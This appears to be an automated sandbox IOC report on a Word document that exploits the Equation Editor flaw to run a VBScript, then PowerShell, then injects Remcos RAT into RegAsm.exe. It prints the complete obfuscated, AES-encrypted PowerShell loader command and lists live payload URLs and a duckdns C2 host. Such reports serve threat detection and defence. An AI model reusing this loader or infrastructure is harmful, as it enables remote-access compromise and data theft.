Automated Malware Analysis IOC Report for

Files

File Path

Type

Processes

Path

Cmdline

Malicious

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding

Details

Is windows:	true
Is dropped:	false
PID:	2292
Target ID:	0
Parent PID:	564
Name:	WINWORD.EXE
Class:	word
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Size:	1423704
MD5:	9EE74859D22DAE61F1750B3A1BACB6F5
Time:	23:47:49
Date:	11/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x13f660000
Modulesize:	1437696
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Office Macro File Creation	System Summary
Spawns processes	System Summary	Process Injection

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Details

Is windows:	true
Is dropped:	false
PID:	1504
Target ID:	2
Parent PID:	564
Name:	EQNEDT32.EXE
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Size:	543304
MD5:	A87236E214F6D42A65F5DEDAC816AEC8
Time:	23:47:50
Date:	11/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x400000
Modulesize:	581632
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: EQNEDT32.EXE connecting to internet	Exploits
Sigma detected: File Dropped By EQNEDT32EXE	Exploits
Document exploit detected (process start blacklist hit)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Equation Editor Network Connection	System Summary
Sigma detected: Suspicious Microsoft Office Child Process	System Summary
Sigma detected: WScript or CScript Dropper	System Summary
Office Equation Editor has been started	Exploits
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript	System Summary
Sigma detected: Modification of IE Registry Settings	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\SysWOW64\wscript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\crosscheckrosefloweronhairbeauty.vBS"

Details

Is windows:	true
Is dropped:	false
PID:	2764
Target ID:	5
Parent PID:	1504
Name:	wscript.exe
Class:	system-tools
Path:	C:\Windows\SysWOW64\wscript.exe
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\crosscheckrosefloweronhairbeauty.vBS"
Size:	141824
MD5:	979D74799EA6C8B8167869A68DF5204A
Time:	23:47:53
Date:	11/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x9a0000
Modulesize:	155648
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)	Exploits	Exploitation for Client Execution
Sigma detected: Base64 Encoded PowerShell Command Detected	System Summary
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation	System Summary
Sigma detected: Potential PowerShell Command Line Obfuscation	System Summary
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet	System Summary
Sigma detected: Script Initiated Connection to Non-Local Network	System Summary
Sigma detected: Suspicious Microsoft Office Child Process	System Summary
Sigma detected: WScript or CScript Dropper	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Script Initiated Connection	System Summary
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript	System Summary
Executes visual basic scripts	System Summary	Scripting
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: Potential Encoded PowerShell Patterns In CommandLine	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53289677559390085198936330541601CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIfBvRZYArRiXxb9pLfOWJSzhLRPd5I7zACTsYJPbnDRxmpMjLudBMxIclsh5G1oAEB4NHw+gqZ73NYAtRuPEZbun7w27uHNUU/2UZk0vwixZZjYF8SBUg7cmFK0nSMgU1Iow3bYmuii7NK55sdrSb83T7TlGZY91+Moz0ZBIk/0eAU2wf8Py5IgxbPrmhkNHTpbZFW/Al0eMV2MWxPeHSmQgZ//aQ5gn4Og/LInIlaSIqzqvxWq5kou0WIQo/72zG6+7hFvlR6cDOFO2EYak1CZ8irRCX18qAZvDaSJk/li/7cM0YyGDGjetxHvddCjxoFrsIzOoFr80ro7ty8kqQMtvLfXWiRbyxHtkF3NxaNwlxDUG/Htly5mpzTXN98K6Fnob44pHV6WFmrTRzBeXFvRMXFrkrC3t4BnQoCxsRB6x1sycYX2BAgD4vDPPYxPb47dSqUAoFV4NMTMVwtucrwLJdlZlPd2EnjstlapgPGyqeDuq+TKGWTRY7Z1C3vRcmlGe+lnY3QnpSNHNLl/haCmRsH4gMWyr4W/C2zNKguYI0N/PuyhAYi7YLD4A/NHjUcCY9rhxCg197+PLu/OwLBOl0CXgp/Ts85zFpV7WYNvBVPdgWvIPMkzBwQ+49ILJWVxcCDdE6JmR5Fq9tx9CQCnQJHN8uHPYaUlZ0ReVI/npl7GN05N9Obi18FtHe8U5TJh3++s3GfoiYW9BhKgh39janXG8zoXy6iZOVv1CDPHimFt85ZaMs1Bo+CmL5lnsudxNiDoq44/2E5DtzNoWEzZ+OQLsOM9Zh7Lke8w81xDJOSxVmqDoOcMa4I6/NsXFAlOTeKkhDmJCHTUB/Ks2qy+xvWMe77WJAkO37XgYyBUTA46+w+NVfiXxSstunWVvAjPztuMG9ekqgyxG0tWnqnXcuN/TQwZP47Z83ALuTurZOTykuQEXA42lNWU8mibH2upcIACt8NoPw3r5fRNvJc322KLiLSEJOJDDwYQP3uPDW9ylYqnz9saWGUF7wyvlEIrk5vKGo+vuncoCtLyjSFU2NNWq/OUhm3YFstmHb00qRls8jshNFDeskT+9HrCwRd5P+6kLq2cCc1OCMU4SwDWZMZEi/L5oEW5wJXHXG/5VBwshKqSiAF1ojathm5reHGj8cBBQcmfmNAiBhE+cYjLiJ1HYdwmhWRlD9k2l7IrpPf72Zqiu2AJE1o7WKFUPAGFRCXzrDrRaHWxr27DK2NG8lOEVbh92cuVyNGBlhPQft0FbKGvaWYwCm9BS9uJ8iakplRHRpzvLdk5Vw06NR0Yrav4GBiDdk6DqZecDjAKZoBxoCZOav+ztJKIbgKzOMNv18CX9tBGDWY/69/2jI7bvSx+CwNi/hpj3s9iK+SwzIrpD+dFAIiQcmP3Wj4TFZaBEjn++UcwcO3C2sjME5q86SXNGxzQs3i74Hw5uxEiiJhjft+JA0nP2X91n118uUxgEZdNZYtfDuLLg3uLun/EmKv1DFelh7eFXGEr3moW6nDkt16Q8Vt70kfULUet/WDc5XMsIOU0QFo5WQP9BPNJm7vuhbMBlWp/x8tkFjKO9fCUtgZ3vYKrjvFe1RMsHOuSXcC8eZgwJNI3F0Gtx7Rc2jC2D+CDFPstFXOPDalI6g2hOKB0IzlYPk/GhbZmfoYqm2SfR4VcsG9fjYrUCGhbqag/5m5K5GGlkwdugJl/F/liXwGNmURs4EWFJe3UpAevGgVLpYHIc48Xsqfyu4AfxXZtVkyJXoIc1AzQvH1cvQJm9XokY4SbLS7N7PiDJXCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

Details

Is windows:	true
Is dropped:	false
PID:	1448
Target ID:	6
Parent PID:	2764
Name:	powershell.exe
Class:	powershell
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53289677559390085198936330541601CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIfBvRZYArRiXxb9pLfOWJSzhLRPd5I7zACTsYJPbnDRxmpMjLudBMxIclsh5G1oAEB4NHw+gqZ73NYAtRuPEZbun7w27uHNUU/2UZk0vwixZZjYF8SBUg7cmFK0nSMgU1Iow3bYmuii7NK55sdrSb83T7TlGZY91+Moz0ZBIk/0eAU2wf8Py5IgxbPrmhkNHTpbZFW/Al0eMV2MWxPeHSmQgZ//aQ5gn4Og/LInIlaSIqzqvxWq5kou0WIQo/72zG6+7hFvlR6cDOFO2EYak1CZ8irRCX18qAZvDaSJk/li/7cM0YyGDGjetxHvddCjxoFrsIzOoFr80ro7ty8kqQMtvLfXWiRbyxHtkF3NxaNwlxDUG/Htly5mpzTXN98K6Fnob44pHV6WFmrTRzBeXFvRMXFrkrC3t4BnQoCxsRB6x1sycYX2BAgD4vDPPYxPb47dSqUAoFV4NMTMVwtucrwLJdlZlPd2EnjstlapgPGyqeDuq+TKGWTRY7Z1C3vRcmlGe+lnY3QnpSNHNLl/haCmRsH4gMWyr4W/C2zNKguYI0N/PuyhAYi7YLD4A/NHjUcCY9rhxCg197+PLu/OwLBOl0CXgp/Ts85zFpV7WYNvBVPdgWvIPMkzBwQ+49ILJWVxcCDdE6JmR5Fq9tx9CQCnQJHN8uHPYaUlZ0ReVI/npl7GN05N9Obi18FtHe8U5TJh3++s3GfoiYW9BhKgh39janXG8zoXy6iZOVv1CDPHimFt85ZaMs1Bo+CmL5lnsudxNiDoq44/2E5DtzNoWEzZ+OQLsOM9Zh7Lke8w81xDJOSxVmqDoOcMa4I6/NsXFAlOTeKkhDmJCHTUB/Ks2qy+xvWMe77WJAkO37XgYyBUTA46+w+NVfiXxSstunWVvAjPztuMG9ekqgyxG0tWnqnXcuN/TQwZP47Z83ALuTurZOTykuQEXA42lNWU8mibH2upcIACt8NoPw3r5fRNvJc322KLiLSEJOJDDwYQP3uPDW9ylYqnz9saWGUF7wyvlEIrk5vKGo+vuncoCtLyjSFU2NNWq/OUhm3YFstmHb00qRls8jshNFDeskT+9HrCwRd5P+6kLq2cCc1OCMU4SwDWZMZEi/L5oEW5wJXHXG/5VBwshKqSiAF1ojathm5reHGj8cBBQcmfmNAiBhE+cYjLiJ1HYdwmhWRlD9k2l7IrpPf72Zqiu2AJE1o7WKFUPAGFRCXzrDrRaHWxr27DK2NG8lOEVbh92cuVyNGBlhPQft0FbKGvaWYwCm9BS9uJ8iakplRHRpzvLdk5Vw06NR0Yrav4GBiDdk6DqZecDjAKZoBxoCZOav+ztJKIbgKzOMNv18CX9tBGDWY/69/2jI7bvSx+CwNi/hpj3s9iK+SwzIrpD+dFAIiQcmP3Wj4TFZaBEjn++UcwcO3C2sjME5q86SXNGxzQs3i74Hw5uxEiiJhjft+JA0nP2X91n118uUxgEZdNZYtfDuLLg3uLun/EmKv1DFelh7eFXGEr3moW6nDkt16Q8Vt70kfULUet/WDc5XMsIOU0QFo5WQP9BPNJm7vuhbMBlWp/x8tkFjKO9fCUtgZ3vYKrjvFe1RMsHOuSXcC8eZgwJNI3F0Gtx7Rc2jC2D+CDFPstFXOPDalI6g2hOKB0IzlYPk/GhbZmfoYqm2SfR4VcsG9fjYrUCGhbqag/5m5K5GGlkwdugJl/F/liXwGNmURs4EWFJe3UpAevGgVLpYHIc48Xsqfyu4AfxXZtVkyJXoIc1AzQvH1cvQJm9XokY4SbLS7N7PiDJXCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)\|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Size:	427008
MD5:	EB32C070E658937AA9FA9F3AE629B2B8
Time:	23:47:54
Date:	11/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x380000
Modulesize:	438272
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Yara detected Powershell download and execute	HIPS / PFW / Operating System Protection Evasion
Yara detected Remcos RAT	AV Detection, E-Banking Fraud, Stealing of Sensitive Information, Remote Access Functionality
Yara detected UAC Bypass using CMSTP	Exploits
Obfuscated command line found	Data Obfuscation	Command and Scripting Interpreter Deobfuscate/Decode Files or Information
Sigma detected: Base64 Encoded PowerShell Command Detected	System Summary
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation	System Summary
Sigma detected: Potential PowerShell Command Line Obfuscation	System Summary
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet	System Summary
Suspicious execution chain found	Software Vulnerabilities	Exploitation for Client Execution
Suspicious powershell command line found	Data Obfuscation	PowerShell
Wscript starts Powershell (via cmd or directly)	System Summary	PowerShell Scripting
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: Potential Encoded PowerShell Patterns In CommandLine	System Summary
Sigma detected: PowerShell Script Dropped Via PowerShell.EXE	System Summary
Spawns processes	System Summary	Process Injection
Binary contains paths to debug symbols	Compliance, System Summary

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Details

Is windows:	true
Is dropped:	false
PID:	3208
Target ID:	8
Parent PID:	1448
Name:	RegAsm.exe
Class:	system-tools
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Size:	64704
MD5:	8FE9545E9F72E460723F484C304314AD
Time:	23:48:07
Date:	11/07/2024
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0xf50000
Modulesize:	73728
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Remcos	Stealing of Sensitive Information
Yara detected Remcos RAT	AV Detection, E-Banking Fraud, Stealing of Sensitive Information, Remote Access Functionality
Yara detected UAC Bypass using CMSTP	Exploits
Injects a PE file into a foreign processes	HIPS / PFW / Operating System Protection Evasion	Process Injection
Installs a global keyboard hook	Key, Mouse, Clipboard, Microphone and Screen Capturing	Input Capture
Suspicious execution chain found	Software Vulnerabilities	Exploitation for Client Execution
Writes to foreign memory regions	HIPS / PFW / Operating System Protection Evasion	Process Injection
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Details

Is windows:	true
Is dropped:	false
PID:	3220
Target ID:	9
Parent PID:	1448
Name:	RegAsm.exe
Class:	system-tools
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Size:	64704
MD5:	8FE9545E9F72E460723F484C304314AD
Time:	23:48:08
Date:	11/07/2024
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0xf50000
Modulesize:	73728
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Remcos	Stealing of Sensitive Information
Yara detected Remcos RAT	AV Detection, E-Banking Fraud, Stealing of Sensitive Information, Remote Access Functionality
Yara detected UAC Bypass using CMSTP	Exploits
Injects a PE file into a foreign processes	HIPS / PFW / Operating System Protection Evasion	Process Injection
Installs a global keyboard hook	Key, Mouse, Clipboard, Microphone and Screen Capturing	Input Capture
Suspicious execution chain found	Software Vulnerabilities	Exploitation for Client Execution
Writes to foreign memory regions	HIPS / PFW / Operating System Protection Evasion	Process Injection
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Details

Is windows:	true
Is dropped:	false
PID:	3228
Target ID:	10
Parent PID:	1448
Name:	RegAsm.exe
Class:	system-tools
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Size:	64704
MD5:	8FE9545E9F72E460723F484C304314AD
Time:	23:48:08
Date:	11/07/2024
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0xf50000
Modulesize:	73728
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Remcos	Stealing of Sensitive Information
Yara detected Remcos RAT	AV Detection, E-Banking Fraud, Stealing of Sensitive Information, Remote Access Functionality
Yara detected UAC Bypass using CMSTP	Exploits
Injects a PE file into a foreign processes	HIPS / PFW / Operating System Protection Evasion	Process Injection
Installs a global keyboard hook	Key, Mouse, Clipboard, Microphone and Screen Capturing	Input Capture
Suspicious execution chain found	Software Vulnerabilities	Exploitation for Client Execution
Writes to foreign memory regions	HIPS / PFW / Operating System Protection Evasion	Process Injection
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Details

Is windows:	true
Is dropped:	false
PID:	3236
Target ID:	11
Parent PID:	1448
Name:	RegAsm.exe
Class:	system-tools
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Size:	64704
MD5:	8FE9545E9F72E460723F484C304314AD
Time:	23:48:08
Date:	11/07/2024
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0xf50000
Modulesize:	73728
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Remcos	Stealing of Sensitive Information
Yara detected Remcos RAT	AV Detection, E-Banking Fraud, Stealing of Sensitive Information, Remote Access Functionality
Yara detected UAC Bypass using CMSTP	Exploits
Injects a PE file into a foreign processes	HIPS / PFW / Operating System Protection Evasion	Process Injection
Installs a global keyboard hook	Key, Mouse, Clipboard, Microphone and Screen Capturing	Input Capture
Suspicious execution chain found	Software Vulnerabilities	Exploitation for Client Execution
Writes to foreign memory regions	HIPS / PFW / Operating System Protection Evasion	Process Injection
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

URLs

Name

Malicious

https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg

207.241.232.195

https://pastecode.dev/raw/6l7qjjrz/paste1.txt

172.66.40.229

sembe.duckdns.org

http://139.99.220.222/55066/crosscheckrosefloweronhairbeauty.gIF

139.99.220.222

http://139.99.220.222/55066/RGBC.txt

139.99.220.222

http://nuget.org/NuGet.exe

unknown

http://crl.entrust.net/server1.crl0

unknown

http://ocsp.entrust.net03

unknown

http://139.99.220.222/55066/crosscheckrosefloweronhairbeauty.gIFj

unknown

https://contoso.com/License

unknown

https://contoso.com/Icon

unknown

http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0

unknown

http://www.diginotar.nl/cps/pkioverheid0

unknown

https://pastecode.dev/raw/6l7qjjrz/paste1.txt5

unknown

http://geoplugin.net/json.gp

178.237.33.50

http://crl.pkioverheid.nl/DomOvLatestCRL.crl0

unknown

http://geoplugin.net/json.gp/C

unknown

https://contoso.com/

unknown

https://nuget.org/nuget.exe

unknown

https://pastecode.dev/raw/6l7qjjrz/paste1.txtB

unknown

https://pastecode.dev/

unknown

https://pastecode.dev/raw/6l7qjjrz/paste1.txte.dev/raw/6l7qjjrz/paste1.txtkkC:

unknown

http://go.microsoft.c

unknown

https://ia803405.us.archive.org

unknown

https://pastecode.dev/7

unknown

http://ocsp.entrust.net0D

unknown

http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

unknown

https://secure.comodo.com/CPS0

unknown

http://crl.entrust.net/2048ca.crl0

unknown

http://139.99.220.222

unknown

There are 20 hidden URLs, click here to show them.

Domains

Name

Malicious

ia803405.us.archive.org

207.241.232.195

Details

Name:	ia803405.us.archive.org
IP:	207.241.232.195
TargetID:	6
Current Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Snort IDS alert for network traffic	Networking
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

sembe.duckdns.org

194.187.251.115

Details

Name:	sembe.duckdns.org
IP:	194.187.251.115
TargetID:	11
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Found malware configuration	AV Detection
C2 URLs / IPs found in malware configuration	Networking	Application Layer Protocol
Uses dynamic DNS services	Networking	Application Layer Protocol
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

pastecode.dev

172.66.40.229

Details

Name:	pastecode.dev
IP:	172.66.40.229
TargetID:	5
Current Path:	C:\Windows\SysWOW64\wscript.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
System process connects to network (likely due to code injection or exploit)	Networking, HIPS / PFW / Operating System Protection Evasion	Process Injection
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Script Initiated Connection	System Summary
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking
Uses secure TLS version for HTTPS connections	Compliance, Networking

geoplugin.net

178.237.33.50

Details

Name:	geoplugin.net
IP:	178.237.33.50
TargetID:	11
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

IPs

Domain

Country

Malicious

207.241.232.195

ia803405.us.archive.org

United States

Details

IP:	207.241.232.195
TargetID:	6
Current Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Country:	United States
Countrycode:	USA
ASN number:	7941
ASN name:	INTERNET-ARCHIVEUS
Private:	false
Domain:	ia803405.us.archive.org

Signature Hits	Behavior Group	Mitre Attack
Snort IDS alert for network traffic	Networking
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking

139.99.220.222

unknown

Canada

Details

IP:	139.99.220.222
TargetID:	2
Current Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Country:	Canada
Countrycode:	CAN
ASN number:	16276
ASN name:	OVHFR
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: EQNEDT32.EXE connecting to internet	Exploits
Snort IDS alert for network traffic	Networking
Office equation editor establishes network connection	Exploits	Exploitation for Client Execution
Sigma detected: Equation Editor Network Connection	System Summary
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
URLs found in memory or binary data	Networking

172.66.40.229

pastecode.dev

United States

Details

IP:	172.66.40.229
TargetID:	5
Current Path:	C:\Windows\SysWOW64\wscript.exe
Country:	United States
Countrycode:	USA
ASN number:	13335
ASN name:	CLOUDFLARENETUS
Private:	false
Domain:	pastecode.dev

Signature Hits	Behavior Group	Mitre Attack
System process connects to network (likely due to code injection or exploit)	Networking, HIPS / PFW / Operating System Protection Evasion	Process Injection
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Script Initiated Connection	System Summary
Uses secure TLS version for HTTPS connections	Compliance, Networking

194.187.251.115

sembe.duckdns.org

United Kingdom

Details

IP:	194.187.251.115
TargetID:	11
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Country:	United Kingdom
Countrycode:	GBR
ASN number:	9009
ASN name:	M247GB
Private:	false
Domain:	sembe.duckdns.org

Signature Hits	Behavior Group	Mitre Attack
